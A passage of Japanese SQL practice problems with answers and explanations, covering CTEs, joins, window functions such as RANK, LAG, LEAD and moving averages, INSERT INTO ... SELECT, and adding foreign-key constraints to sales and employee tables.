  - ALTER TABLE テーブル名 ADD COLUMN 列定義 [制約];: 既存のテーブルに新しい列を追加します。
  - UNIQUE制約: 列内の値の重複を許しません。
  - CREATE VIEW ビュー名 AS SELECT文;: SELECT文の結果を名前付きのオブジェクト（ビュー）として保存します。

【問題】★★

商品カテゴリごとに売上実績を多角的に評価するため、カテゴリ内での各商品の売上ランキングと、カテゴリ全体に占める売上構成比（%）を算出する。

```
[ 1 ] 商品別売上 AS (
  SELECT
    p.商品カテゴリ,   p.商品名,  SUM(s.金額) AS 商品別合計売上
  FROM
    売上明細 s
  INNER JOIN
    商品マスタ p ON s.商品ID = p.商品ID
  [ 2 ]
    p.商品カテゴリ,  p.商品名
)
SELECT
  商品カテゴリ, 商品名, 商品別合計売上,
  RANK() OVER ( [ 3 ] 商品カテゴリ ORDER BY 商品別合計売上 DESC ) AS カテゴリ内順位,
  [ 4 ]
```

```
    WHEN RANK() OVER ( PARTITION BY 商品カテゴリ [ 5 ] 商品別合計売上 DESC ) <= 3 THEN
'トップ3'
    ELSE '圏外'
  END AS ランク評価,
  (商品別合計売上 * 100.0 / SUM(商品別合計売上) OVER ( [ 6 ] 商品カテゴリ )) AS 構成比率
FROM
  商品別売上
[ 7 ]
  商品カテゴリ,
  [ 8 ];
```

- **【解答】**
    1. WITH
    2. GROUP BY
    3. PARTITION BY
    4. CASE
    5. ORDER BY
    6. PARTITION BY
    7. ORDER BY
    8. カテゴリ内順位
- **【解説】** GROUP BYが集約して行数を減らすのに対し、ウィンドウ関数は元の行数を維持したまま集計や順位付けができます。
    - RANK() OVER (PARTITION BY ...) の部分では、PARTITION BY句によって商品カテゴリのグループごとに行を区切り、その中で売上順にランキングを付けています。
    - 構成比率の計算でもSUM(...) OVER (PARTITION BY ...) を使用し、カテゴリごとの合計売上を各行に付与しています。

【問題】★★

各部署内で、役職者（部長・課長）とそれ以外の一般社員を区別し、それぞれのグループ内における給与ランキングを算出してください。

```
[ 1 ] 社員情報 AS (
  SELECT s.氏名, d.部署名, p.役職名, k.給与
  FROM  社員マスタ AS s
    [ 2 ] 部署マスタ AS d
      ON s.部署ID = d.部署ID
    INNER JOIN 給与テーブル AS k
      ON s.社員ID = k.社員ID
    [ 3 ] 役職マスタ AS p
      ON s.役職コード = p.役職コード
)
SELECT  氏名,  部署名,  役職名,  給与,
  [ 4 ]
    [ 5 ] 役職名 IN ('部長', '課長') THEN '役職者'
    ELSE '一般社員'
  END AS 役職グループ,
  RANK() OVER (
```

```
    [ 6 ] 部署名,
    CASE
      WHEN 役職名 IN ('部長', '課長') THEN '役職者'
      ELSE '一般社員'
    END
    [ 7 ] 給与 DESC
  ) AS 部署内グループランキング
[ 8 ]
  社員情報
[ 9 ]
  部署名,  部署内グループランキング;
```

- **【解答】**
  1. WITH
  2. INNER JOIN
  3. INNER JOIN
  4. CASE
  5. WHEN
  6. PARTITION BY
  7. ORDER BY
  8. FROM
  9. ORDER BY
- **【解説】** PARTITION BY句に部署名とCASE式で生成した役職グループの2つを指定することで、「部署ごと、かつ役職グループごと」という細かい単位でデータを分割し、その中で給与の高い順に順位付けを行っています。

【問題】★★

現在の「売上明細」テーブルから、売上金額が10万円以上の高額取引のレコードだけを抽出し、既存の「高額取引履歴」テーブルに丸ごとコピー（挿入）することになりました。SELECT文の実行結果を、そのまま別のテーブルに挿入するには、どのような構文を使用すればよいか。

```
【 a 】高額取引履歴 (注文ID, 顧客ID, 金額, 取引日)
【 b 】
  注文ID, 顧客ID, 金額, 取引日
FROM
  売上明細
WHERE
  金額 >= 100000;
```

- **【回答】** a: INSERT INTO, b: SELECT
- **【この構文が必要な理由】** あるテーブルから特定の条件で抽出したデータを、一行ずつではなく一括で効率的に別のテーブルにバックアップしたり、移し替えたりする必要があるためです。
- **【構文の解説】** INSERT INTO <テーブル名> (<列リスト>) SELECT <列リスト> FROM ...;
  - INSERT INTO ... SELECT ...: VALUES句を使って1行ずつデータを指定する代わりに、SELECT文の実行結果セットをまるごと挿入データとして使用します。

【問題】★★

データベースの設計変更で、既存の「売上明細」テーブルの「商品ID」列が、「商品マスタ」テーブルの「商品ID」を必ず参照するように、整合性を保つための制約（外部キー制約）を追加することになりました。既存のテーブルの定義を変更して、制約を追加するにはどのDDL文を使用しますか。

```
【 a 】売上明細
【 b 】FK_商品ID
  FOREIGN KEY (商品ID) REFERENCES 商品マスタ(商品ID);
```

- **【回答】** a: ALTER TABLE, b: ADD CONSTRAINT
- **【この構文が必要な理由】** テーブルを一度作成した後で、業務要件の変更などに応じて、列や制約を追加・削除したりする必要があるためです。
- **【構文の解説】** ALTER TABLE <テーブル名> ADD CONSTRAINT <制約名> <制約定義>;
  - FOREIGN KEY (列名) REFERENCES <親テーブル>(列名): 外部キー制約を定義します。これにより、データの整合性が保たれます。

【問題2：ウィンドウ関数による移動平均の算出】★★

シナリオ: 店舗ごと、月ごとの売上実績から、当月を含む過去3ヶ月間の「移動平均売上」を算出してください。売上データが存在しない月も計算対象に含める必要があります。

```
SELECT
  店舗ID,  売上年月,  月次売上,
  AVG(月次売上)【 a 】(
    【 b 】店舗ID
    【 c 】売上年月
    【 d 】2 PRECEDING AND CURRENT ROW
  ) AS "3ヶ月移動平均"
FROM
  月次売上ビュー;
```

- **【回答】** a: OVER, b: PARTITION BY, c: ORDER BY, d: ROWS BETWEEN
- **【この構文が必要な理由】** 「店舗ごと」という単位で区切られたデータセットに対し、「時系列順」に並べた上で、「現在行と先行する2行」という動的な範囲を指定して集計を行うという、高度な分析を実現するためにウィンドウ関数が必要なため。
- **【構文の解説】**
  - ROWS BETWEEN 2 PRECEDING AND CURRENT ROW: これは「フレーム句」と呼ばれ、ウィンドウ関数が実際に計算を行う範囲を現在行からの相対位置で指定します。2 PRECEDINGは「先行する2行」、CURRENT ROWは「現在の行」を意味します。

【問題2】★★

営業社員の売上推移を分析し、以下の条件を満たす社員を抽出してください：

- 各社員の「前月売上」「次月売上」を表示する。
- 部署ごとの売上順位を付ける。
- 直近3ヶ月の売上合計を算出する。
- 部署内順位が3位以内の社員のみを抽出する。
- その中からさらに、上位5件だけを表示してください。

```
【 a 】売上分析 AS (
  SELECT
    s.社員ID, e.氏名, d.部署名, s.月, s.売上額,
    【 b 】(s.売上額) OVER (PARTITION BY s.社員ID ORDER BY s.月) AS 前月売上,
    【 c 】(s.売上額) OVER (PARTITION BY s.社員ID ORDER BY s.月) AS 次月売上,
    【 d 】() OVER (PARTITION BY d.部署ID ORDER BY s.売上額 DESC) AS 部署内順位,
    SUM(s.売上額) OVER (
      PARTITION BY s.社員ID
      ORDER BY s.月
      ROWS BETWEEN 2【 e 】AND CURRENT ROW
    ) AS 直近3ヶ月売上
  FROM
    売上実績 AS s
    INNER JOIN 社員マスタ AS e ON s.社員ID = e.社員ID
    INNER JOIN 部署マスタ AS d ON e.部署ID = d.部署ID
)
SELECT
  氏名, 部署名, 月, 売上額, 前月売上, 次月売上, 部署内順位, 直近3ヶ月売上
FROM
  売上分析
【 f 】部署内順位 <= 3
【 g 】5;
```

- **【回答】**
  - a: WITH
  - b: LAG
  - c: LEAD
  - d: RANK
  - e: PRECEDING
  - f: WHERE
  - g: LIMIT